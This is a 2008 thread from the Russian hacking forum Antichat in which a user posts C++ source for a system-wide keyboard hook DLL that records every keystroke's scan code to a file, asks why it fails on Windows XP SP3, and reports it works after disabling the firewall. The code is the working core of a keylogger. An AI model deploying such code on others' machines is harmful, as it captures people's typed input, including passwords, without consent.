Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

02.11.2008, 14:18
|
|
Участник форума
Регистрация: 18.08.2008
Сообщений: 159
Провел на форуме: 750247
Репутация:
92
|
|
Хуки и WinSP3
Столкнулся с проблемой, что простейший хук на клавиатуру не работает корректно на SP3. Тут же потестил на SP2 и все стало отлично работать? Что блокирует хук, если нет антивиря. Неужели встроенный фаервол работает?
Приведенный ниже код отказывался писать в файл.
Хотя все проверки выполнялись.
Код:
#include <windows.h>
#include <stdio.h>
#pragma data_seg(".SData")
static HHOOK hKey = 0;
static HANDLE hFile = INVALID_HANDLE_VALUE;
CRITICAL_SECTION cs;
#pragma data_seg()
DWORD __stdcall FileWrite(void *lpPoint);
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
void StartHook(HINSTANCE hLib)
{
hKey = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardProc, hLib, 0);
hFile = CreateFile("C:\\outHook.txt",
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
InitializeCriticalSection(&cs);
if (hKey == NULL)
MessageBox(NULL, "Hook is not nested", "Error", MB_OK|MB_ICONERROR);
if (hFile == INVALID_HANDLE_VALUE)
MessageBox(NULL, "File is not created", "Error", MB_OK|MB_ICONERROR);
}
void RemoveHook()
{
UnhookWindowsHookEx(hKey);
}
#pragma argsused
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
if (fwdreason == DLL_PROCESS_DETACH || fwdreason == DLL_THREAD_DETACH)
UnhookWindowsHookEx(hKey);
return 1;
}
//---------------------------------------------------------------------------
DWORD __stdcall FileWrite(void *lpPoint)
{
char szBuffer[100];
ZeroMemory(szBuffer, 100);
DWORD dwWritten = 0;
DWORD *ScanCode = reinterpret_cast<DWORD*>(lpPoint);
itoa(*ScanCode, szBuffer, 16);
EnterCriticalSection(&cs);
WriteFile(hFile, szBuffer, strlen(szBuffer), &dwWritten, NULL);
WriteFile(hFile, "\n\r", 2, &dwWritten, NULL);
LeaveCriticalSection(&cs);
return 0;
}
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
DWORD IsDown, ScanCode;
IsDown = !(lParam >> 31);
ScanCode = lParam << 8;
ScanCode >>= 24;
if (IsDown && code == HC_ACTION)
{
CreateThread(NULL,
0,
FileWrite,
&ScanCode,
0,
0);
}
return 0;
}
Это код для CBuilder 6. Именно его я тестил на SP2 и SP3.
|
|
|

02.11.2008, 17:43
|
|
Постоянный
Регистрация: 10.12.2005
Сообщений: 939
Провел на форуме: 3886281
Репутация:
929
|
|
Ну В файл писать отказался а перехват то работает или нет?! На каком этапе затыкается код при сп3 ?
|
|
|

02.11.2008, 17:49
|
|
Познающий
Регистрация: 28.09.2007
Сообщений: 56
Провел на форуме: 4328058
Репутация:
86
|
|
4p3, отладчик в руки.
|
|
|

02.11.2008, 19:17
|
|
Участник форума
Регистрация: 18.08.2008
Сообщений: 159
Провел на форуме: 750247
Репутация:
92
|
|
Отключил фаервол, стало работать.
Сейчас будем разбираться в чем дело и где блочимся.
|
|
|

02.11.2008, 19:19
|
|
Участник форума
Регистрация: 18.08.2008
Сообщений: 159
Провел на форуме: 750247
Репутация:
92
|
|
Сообщение от GALIAFF
4p3, отладчик в руки.
Это само собой, просто я хотел услышать мнение людей, которые уже сталкивались с этой проблемой и знают её корни.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|